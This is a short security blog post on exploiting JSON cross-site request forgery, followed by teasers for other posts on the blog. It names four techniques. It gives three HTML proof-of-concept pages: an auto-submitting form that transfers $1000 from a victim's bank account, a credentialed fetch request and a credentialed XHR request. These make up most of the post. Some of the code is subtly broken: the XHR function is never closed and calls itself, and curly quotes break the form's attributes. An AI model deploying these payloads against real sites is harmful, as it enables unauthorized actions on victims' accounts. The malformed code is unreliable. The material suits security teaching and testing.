Skip to main content

Ways To Exploit JSON CSRF (Simple Explanation)

 How JSON CSRF can be exploitable?

  1. By using normal HTML Form1: When Content-Type is not validating at the server-side and also not checking for the POST data if it’s correctly formatted or not.
  2. By using normal HTML Form2 (By Fetch Request): When Content-Type is not validating at the server-side and only checking for the POST data if it’s correctly formatted or not.
  3. By using XMLHTTP Request/AJAX request: When Content-Type is validating at the server-side and the server accepts only “Content-Type: application/json”
  4. By using Flash file: When Content-Type is validating at the server-side and the server accepts only “Content-Type: application/json” and CORS is also configured properly
<html>
<body>
<form action=”https://members.bankofdirectdefense.com/accounts/transfer" method=”POST” enctype=”text/plain”>
<input type=”hidden” name=”{\”from-account\”: 1,\”toAccount\”: \”021000021–9876543210\”,\”amount\”: 1000,\”currency\”: \”USD\”,\”foo” value=”\”:\”bar\”}” />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
<html>
<title>JSON CSRF POC</title>
<body>
<center>
<h1> JSON CSRF POC </h1>
<script>
fetch('http://vul-app.com', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});
</script>
<form action="#">
<input type="button" value="Submit" />
</form>
</center>
</body>
</html>
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/members.bankofdirectdefense.com\/accounts\/transfer", true);
xhr.setRequestHeader("Content-Type", "application\/json");
xhr.withCredentials = true;
xhr.send("{\"from-account\": 1,\"toAccount\": \"021000021-9876543210\",\"amount\": 1000,\"currency\": \"USD\"}");
submitRequest();
</script>
</body>
</html>

Comments

Popular posts from this blog

Free Cybersecurity Certifications

Introduction to Cybersecurity Cybersecurity Essentials Networking Essentials Android Bug Bounty Hunting: Hunt Like a Rat Ethical Hacking Essentials (EHE) Digital Forensics Essentials (DFE) Network Defense Essentials (NDE) Introduction to Dark Web, Anonymity, and Cryptocurrency AWS Skill Builder Introduction to Cybersecurity Building a Cybersecurity Toolkit Cyber Aces Free Cyber Security Training Course Introduction to Information Security Penetration Testing - Discovering Vulnerabilities

My First Burp Extension | Enable Tor Proxy By Burp (Jython)

Hello Everyone,  Finally, after one week of work, I learned many new things in Jython as well as in Java. When you will see the functionality of this Burp extension, it looks like it needs only one day of development, but for me, it took 1 week because I had zero knowledge of it but yes I know a little bit of Python. But now after one week of time, I can make this type of Burp extender that automates the process and make our life easy. What are the problems I faced while developing it, don't judge me, some are dumb questions to myself: How to create a Burp extension in Jython? What is JPanel and how to use it? How to run Tor proxy in Windows? How to run Tor Proxy in the background? How to kill the process in Windows? How to create a button in Jython? How to change color? etc....etc.....etc...... Download:   https://github.com/crazywifi/TOR_Proxy_Burp_Extension

Is your webcam exposed on the internet and everyone enjoying your personal moments? | How to check webcam or security camera is exposed on the internet or not?

Nowadays we start using many technology devices in our homes. Many people are installing CCTV or security cameras in their houses, private rooms, offices, private places, etc for security purposes and monitoring, but many of them don't know how to configure that device securely. So let's talk about CCTV and security cameras only.  What do most CCTV/Security camera users believe? Most users believe that using a strong username and password on a camera administrative page protects them. (Partially true in the case of online cameras) Example: Why it is partially true? It's partially true because you are protecting only the camera administrative page which is also an important part. Still, you are not protecting the protocol used to control streaming media servers (Real-Time Streaming Protocol ( RTSP )). I have seen many online webcams whose administrative page is secured by strong credentials, but they forget to secure the RTSP protocol which gives me access to the streaming ...